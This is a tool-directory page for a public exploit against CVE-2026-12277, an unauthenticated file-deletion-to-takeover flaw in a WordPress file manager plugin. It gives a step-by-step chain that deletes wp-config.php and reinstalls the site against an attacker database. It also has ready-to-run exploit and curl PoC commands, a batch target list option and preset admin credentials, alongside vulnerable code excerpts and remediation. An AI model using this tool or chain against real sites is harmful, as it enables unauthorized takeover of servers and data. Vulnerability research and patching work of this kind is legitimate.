Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - Unauthenticated Arbitrary File Deletion to RCE | Kitploit
Tools/GitHubGitHub/moritakaaz/cve-2026-12277
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Unauthenticated Arbitrary File Deletion to RCE

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Unauthenticated Arbitrary File Deletion to RCE

Summary

FieldValue
CVECVE-2026-12277
PluginFrontend File Manager Plugin (nmedia-user-file-uploader)
Affected<= 23.6
TypeUnauthenticated Arbitrary File Deletion
CVSS8.7 (HIGH)
CWECWE-73 (External Control of File Name or Path)
PrerequisiteGuest upload mode enabled
PatchNone (as of July 2026)
ResearcherChamseddine Bouzaiene

Root Cause

The plugin stores uploaded file paths in post metadata (wpfm_dir_path). The wpfm_file_meta_update AJAX endpoint:

  1. Has the nonce check commented out (lines 769-771 in files.php)
  2. Is registered as nopriv (accessible without authentication)
  3. The unset($_REQUEST['wpfm_dir_path']) defense can be bypassed via PHP request_order quirks (sending via query string)

When wpfm_delete_file is called, it reads wpfm_dir_path from post meta and calls unlink() without any path validation.

Vulnerable Endpoints

AJAX ActionNonce RequiredAuth Requirednopriv
wpfm_file_meta_updateNO (commented out)NoYes (always)
wpfm_delete_fileYesNoYes (always)
wpfm_upload_fileYesNoYes (if guest upload on)

Exploitation Chain

root@kitploit:~
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

Files

FileDescription
exploit.pyFull Python exploit (detect → exploit → takeover)
poc_curl.shBash/curl PoC (Linux)
poc_curl.ps1PowerShell/curl PoC (Windows)
lists.txtTarget URLs (one per line, for batch mode)
requirements.txtPython dependencies

Usage

Python Exploit (Full Auto)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

After Exploitation - Login

Setelah exploit berhasil, login ke WordPress admin:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

curl PoC (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

curl PoC (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Arguments

ArgumentRequiredDescription
-u, --urlYesTarget WordPress URL
-p, --pathNoAbsolute path to wp-config.php on server
--nonceNoAJAX nonce (skip auto-extraction)
--dbnameNoAttacker database name (default: wp_pwned)
--dbuserNoAttacker database user (default: root)
--dbpassNoAttacker database password
--dbhostNoAttacker database host (default: localhost)
--proxyNoHTTP proxy (e.g., http://127.0.0.1:8080)
--timeoutNoRequest timeout in seconds (default: 15)
--detect-onlyNoOnly detect vulnerability, don't exploit

How Nonce Auto-Extraction Works

The exploit automatically searches for wpfm_ajax_nonce in:

  1. Common page slugs: /file-manager/, /upload/, /files/, /file-upload/, etc.
  2. Direct file: /file-manager.php
  3. All internal links found on homepage (crawling)
  4. WP REST API (/wp-json/)

The nonce appears as a hidden input field:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

Or in localized JavaScript:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Path Bypass Technique

The code does unset($_REQUEST['wpfm_dir_path']) to prevent direct overwrite. The bypass:

  1. Query string injection: Send wpfm_dir_path via URL query parameter while other data goes via POST body. PHP's $_REQUEST merging behavior allows the value to persist depending on request_order config.

  2. Pre-set during upload flow: The wpfm_dir_path meta is set during the initial file upload hooks. If exploited at that stage, no bypass needed.

Tested Environment

ComponentVersion
WordPress6.9.4
PHP8.2.12
PluginFrontend File Manager 23.6
OSWindows (XAMPP) / Linux
ResultFull takeover confirmed

Vulnerable Code References

Nonce Disabled (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Arbitrary Meta Write (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Authorization Bypass (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

Unvalidated Deletion (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

Path Resolution (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

Remediation

  • Uncomment nonce verification in wpfm_file_meta_update
  • Validate wpfm_dir_path against upload directory using realpath() + prefix check
  • Never allow user-controlled input in file deletion paths
  • Add proper authorization checks independent of guest upload setting

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.

Download Tool